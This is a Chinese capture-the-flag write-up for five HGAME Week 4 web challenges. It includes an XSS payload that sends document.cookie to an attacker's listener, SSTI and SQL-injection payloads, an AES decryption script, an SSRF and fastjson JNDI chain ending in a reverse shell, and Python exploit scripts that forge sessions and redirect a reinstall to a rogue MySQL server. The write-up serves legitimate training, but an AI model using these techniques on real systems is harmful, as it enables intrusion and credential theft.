HGAME-Week4-Web writeup
- 2019 年 10 月 8 日
- 筆記
來呀!來呀!關注我吧!!
【300pt】happyXss
檢測過濾
根據題目敘述 先拿上一次的payload試一下

我們發現網站後台將傳入的 <script> 替換成Happy。但是前邊和後邊的數據並沒有被過濾,但是後邊的會被當成前邊標籤的屬性,因此嘗試修改下前邊的數據。

由此可見後台還對一些關鍵字進行替換

構造payload
經過測試發現並沒有對 eval() 函數 和src 屬性進行過濾, 但是經過測試及查詢發現src屬性由於 CSP內容安全策略 無法調用外部腳本。
但是可以使用編碼的形式進行繞過 (1)base64編碼 eval(atob(內容的base64形式))
(2)ascill碼 eval (String.fromCharCode(內容的ascill碼形式))
這裡直接採用base64編碼 進行繞過 構造payload:
<script >eval(atob('這段為payload的base64形式'))</script >需要base64加密的payload 如下
window.location.href="//xxx.xxx.xxx.xxx:xx/?"+document.cookie
伺服器配置
登錄伺服器以後 使用nc -lnvp 2017 來達到監聽2017埠流量。 之後提交我們xss的payload ,經過後台bot訪問後,我們伺服器的2017埠就可以收到數據回饋。
使用burp POST數據並獲取flag
頁面有點難用,此時直接嘗試burpsuite發包打payload

然後查看伺服器,getflag

【300pt】happyPython
打開題目,發現是flask,有註冊和登陸功能,嘗試發現URL處存在SSTI(伺服器模板注入)

經過一番嘗試,發現WAF掉了小括弧(命令執行的話很多操作會用到),猜測是偽造cookie登陸admin。
使用payload:{{config}} 可以獲得secret_key

flask_session參考:[https://www.anquanke.com/post/id/163975


發現可疑參數_id,改為1,然後使用偽造cookie登陸即可獲得flag

【300pt】happyPHP
拿到題目,先看一波,功能有登陸,註冊。 此時嘗試註冊登陸,登陸後,發現如下hint。

此時獲取到源碼,我們可以進行源碼審計了。 在看git的時候,切記要看一下歷史記錄,可能會有新收穫
審計源碼
該題目是使用 PHP的laravel框架 搭建 部署的。要想靈活審計此類題目,我們需要先了解一下laravel框架的結構。 此時,我們先從routes/web.php開始,也就是從路由開始,先分析一下,一共多少頁面,實現了哪些功能 。
Route::get('/', 'StaticPagesController@home')->name('home'); Route::get('/register','UsersController@register')->name('register'); Route::get('/login','UsersController@login')->name('login'); Route::get('/users', 'UsersController@show')->name('users.show'); Route::post('/users', 'UsersController@store')->name('users.store'); Route::post('/login', 'SessionsController@store')->name('login'); Route::get('/logout', 'SessionsController@destroy')->name('logout');
拿第一行來舉例,意思是,根目錄會發送給StaticPagesController下的home方法進行解析。
在laravel中 ,核心程式碼在app文件夾內,此時我們從中可以找出StaticPagesController.php。進而分析
<? class StaticPagesController extends Controller { public function home() { return view('static_pages/home'); } }可以發現,此時他return了一個view。也就是直接渲染一個模板。模板文件我們可以在/resources/views文件夾內找到。不過暫時我們不對模板文件進行審計。先從路由中的幾個方法入手,分析其項目邏輯。在這裡就不做過多介紹。
解題
通過對源碼的分析,我們可以發現一個可疑的點。如下第25行。

這行語句的意思是,從數據找出一條name=xxx的數據,然後將他的name給我。**
顯而易見,這是句廢話,而且分析還可以發現,該處沒有對單引號進行過濾。
(p.s.在laravel中,有更安全的資料庫查詢方式,一般是不會使用拼接字元串的。疑點+1)
此時嘗試對這個點進行注入。
我們在註冊的時候,會為name賦值。此時我們嘗試讀取admin的email。payload如下。
iiiiaa' union select email from `users` where `name`='admin
註冊時name填寫payload即可。然後登陸即可發現注入結果。同理可得密碼。
email:[email protected] password:eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==
此時發現password是加密後的。我們在回到源碼進行分析。可以發現,在註冊的時候,他進行了加密。
翻閱資料,以及看config,可以發現它採用AES-256-CBC加密,key在.env文件中(git歷史記錄有)。然後解密即可。解密腳本如下:
# -*- coding: utf-8 -*- from Crypto.Cipher import AES import base64 import json key = '9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=' enc = 'eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==' enc_obj = json.loads(base64.b64decode(enc)) iv = base64.b64decode(enc_obj['iv']) value = base64.b64decode(enc_obj['value']) key = base64.b64decode(key) PADDING = '' pad_it = lambda s: s+(16 - len(s)%16)*PADDING generator = AES.new(key, AES.MODE_CBC, iv) recovery = generator.decrypt(value) print recovery.rstrip(PADDING) # s:16:"9pqfPIer0Ir9UUfR";
最後直接登錄即可得到flag。
【600pt】happyJava
分析題目及資訊收集
拿到題目真心很懵,研究半天愣是不知道入口在哪。 最後問了一下主辦方,才要到一個hint:spring-boot-actuator。 actuator是一個spring-boot監控平台,如果有未授權訪問,會泄露很多敏感資訊。
http://sc0de.com/2018/09/02/spring-leakage/
嘗試對actuator的路徑進行掃描後,沒有發現。
actuator部署時,可以選擇與當前項目不同埠,此時通過掃描埠,可以得到以下資訊:
PORT STATE SERVICE 22/tcp open ssh 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 4444/tcp filtered krb524 6667/tcp filtered irc 9876/tcp open sd 31337/tcp open Elite
然後針對開放埠繼續進行掃描。最終發現mappings介面泄露如下資訊(路由表):
# url: http://119.28.26.122:9876/mappings { "/webjars/**": {"bean": "resourceHandlerMapping"}, "/**": {"bean": "resourceHandlerMapping"}, "/**/favicon.ico": {"bean": "faviconHandlerMapping"}, "{[/index],methods=[GET]}": { "bean": "requestMappingHandlerMapping", "method": "public java.lang.String me.lightless.happyjava.controller.MainController.Index()" }, "{[/you_will_never_find_this_interface],methods=[GET]}": { "bean": "requestMappingHandlerMapping", "method": "public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)" }, "{[/secret_flag_here],methods=[GET]}": { "bean": "requestMappingHandlerMapping", "method": "public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)" }, "{[/error],methods=[GET]}": { "bean": "requestMappingHandlerMapping", "method": "public java.lang.String me.lightless.happyjava.controller.ErrorController.ShowCommonError()" }, "{[/error],produces=[text/html]}": { "bean": "requestMappingHandlerMapping", "method": "public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)" }, "{[/error]}": { "bean": "requestMappingHandlerMapping", "method": "public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)" } }通過對路由表分析,可以發現/youwillneverfindthisinterface以及secretflag_here兩個介面。
解題ing
通過實際對兩個介面進行訪問,分析。可以得出以下結論
- /youwillneverfindthis_interface該介面,可能造成ssrf。
- /secretflaghere,無法偽造ip繞過,可結合1中的ssrf利用。
然後繼續分析第一個介面。通過分析,可以得出,他首先對url進行解析,獲取ip,判斷ip是否在黑名單中。之後進行對url訪問。
此時我們可以通過DNS rebinding來進行ssrf。 簡單來說就是,讓他在判斷ip的時候,將域名解析為正常ip,然後訪問時,將ip解析為127.0.0.1。(詳見http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/)
此時由於自己嘗試自己搭DNS rebinding服務失敗,蜜汁尷尬。(
最後無奈,只能通過簡單粗暴來解決。

然後burp爆破即可。

解決ing
爆破過程省略,然後繼續說哈。 通過ssrf,可以訪問到secretflaghere這個介面。提示需要有data參數,構造以下url。
http://119.28.26.122:23333/you_will_never_find_this_interface?url=http://dns.5am3.com:23333/secret_flag_here?data=123
傳入data=1234,可以看到返回結果
WoW! Convert JSON to object...OK! Result: 12443
可以知道該介面是一個json的解析介面。考慮到出題人心理。為什麼要給這個介面?當然是要考fastjson反序列化啦。
所以嘛,嘗試構造即可。 自己做的時候,坑點很多。在這裡介紹一下,就不細說了。
- 標點符號要經過2次url加密。否則會報waf
- 基於TemplateImpl的fastjson的poc無法使用,會報waf
在經過多次嘗試後,可以通過基於 JNDI 的 PoC來完成。
詳見:https://www.restran.net/2018/10/29/fastjson-rce-notes/#基於-JNDI-的-PoC 這裡就不多做介紹了。
最後通過反彈shell,獲取到目標靶機shell。讀取flag即可。

【600pt】happyGo
分析題目
嘗試分析網站,註冊登陸後,有一個hint,網站每5分鐘重置一次。然後就是有一個上傳頭像的地方 。此時可以上傳任意文件,並且跨目錄上傳。由於時間太短,不好對源站進行太多的嘗試。先down下來源碼,自己搭一波環境。
因為對go不太了解,一開始一直在想如何能覆蓋源碼,或者覆蓋模板 。最後肯定是失敗的。因為他是先編譯後在執行的 。所以沒覆蓋源碼一說。最後審查程式碼,在main.go中發現session的一些配置。

可以看出,它是將session作為文件,存到了當前的tmp目錄下。打開tmp目錄。可以看到他的目錄結構是。
- tmp - - 1 - - - a - - - - 1axxxxx
此時知道了session的存儲形式,以及存儲結構,我們可以嘗試偽造session,來登陸管理員賬戶。
繼續分析,看一下admin都有什麼許可權。分析程式碼,可以發現管理員是可以刪除用戶的。

此時,刪除用戶,首先會刪除用戶頭像文件,以及資料庫中刪除該用戶。 此時的用戶頭像文件我們可控。也就是可以任意刪除文件。
此時我們可以整理利用鏈如下: 偽造session登陸管理員 --> 刪除某敏感文件
說實話,到這裡真的卡住了,最後無奈向主辦方求hint。軟磨硬泡之下,要到一個連接。 https://lightless.me/archives/read-mysql-client-file.html
還是自己太菜了,看完之後,一聲woc。
最終利用鏈可以分析出來,就是:
偽造session登陸管理員 --> 刪除app.conf --> 重新install,寫入惡意sql伺服器 --> 任意文件讀取。
嘗試解題
首先,先進行session偽造,在這裡不多說了,大家可以分析一下poc。偽造session的poc如下。
# coding:utf-8 import requests import base64 ip = "94.191.10.201" host = "http://94.191.10.201:7000" registerURL = host + "/auth/register" loginURL= host + "/auth/login" userinfoURL = host + "/userinfo" req = requests.session() # register registerData={ "username":"ii5am3", "password":"123456", "confirmpass":"123456", } r= req.post(registerURL,data=registerData) print("[+] register "+r.text) # login loginData={ "username":"ii5am3", "password":"123456", } r = req.post(loginURL,data=loginData) print(r"[+] login "+r.text) # 獲取當前登陸用戶的sessionID sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value print(r"[+] sessionID is "+ sessionID) # 上傳session,偽造cookie newSession = sessionID[0:2]+"5am3" filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession) # 本地搭建環境,登入uid為1的帳號,然後獲取他的session的文件即可。在這裡我給大家 attackSession = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC") sessionFiles={ "uploadname" : (filename, attackSession) } r = req.post(userinfoURL,files=sessionFiles) print(r"[+] newCookie is: PHPSESSID="+ newSession)此時我們可以通過該session來登入管理員賬戶。(腳本多試幾次,有可能卡在題目環境更新時)

此時可以進行下一步,將user1,也就是你註冊的那個用戶的頭像修改,文件名為../../conf/app.conf 。(其實自己之前嘗試過直接覆蓋,但是未成功。迷..) 然後再進行刪除該用戶,此時可以進行重裝操作。 最終poc如下(時間太短了,手工肯定不行的。):
# coding:utf-8 import requests import base64 # req表示user1,此時全程用該一個session req = requests.session() ip = "94.191.10.201" host = "http://94.191.10.201:7000" registerURL = host + "/auth/register" loginURL= host + "/auth/login" userinfoURL = host + "/userinfo" deleteUserURL = host +"/admin/user/del/2" installURl = host + "/install" attackCookie = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC") # register registerData={ "username":"ii5am3", "password":"123456", "confirmpass":"123456", } r= req.post(registerURL,data=registerData) print("[+] register "+r.text) # login loginData={ "username":"ii5am3", "password":"123456", } r = req.post(loginURL,data=loginData) print(r"[+] login "+r.text) sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value print(r"[+] sessionID is "+ sessionID) # 上傳session,偽造cookie newSession = sessionID[0:2]+"5am3" filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession) sessionFiles={ "uploadname" : (filename, attackCookie) } r = req.post(userinfoURL,files=sessionFiles) print(r"[+] newSessionID is "+ newSession) # 修改頭像文件鏈接。 sessionFiles={ "uploadname" : ("../../conf/app.conf", "12345") } r = req.post(userinfoURL,files=sessionFiles) # 新建一個請求,偽造admin進行刪除用戶 headers={ "Cookie":"PHPSESSID="+newSession } r = requests.get(deleteUserURL,headers=headers) # 重新安裝環境,將其指向我們的惡意sql伺服器。 installData = { "host":"1xx.1x9.1xx.x3", "port":"2017", "username":"hgame", "password":"hgame", "database":"hgame" } r = requests.post(installURl,installData) # 再次登錄,使其再來一次請求。 loginData={ "username":"ii5am3", "password":"123456", } r = req.post(loginURL,data=loginData) print(r"[+] login "+r.text)至此,我們這道題就做完了。再附一個自己用的惡意sql伺服器。
https://github.com/allyshka/Rogue-MySql-Server
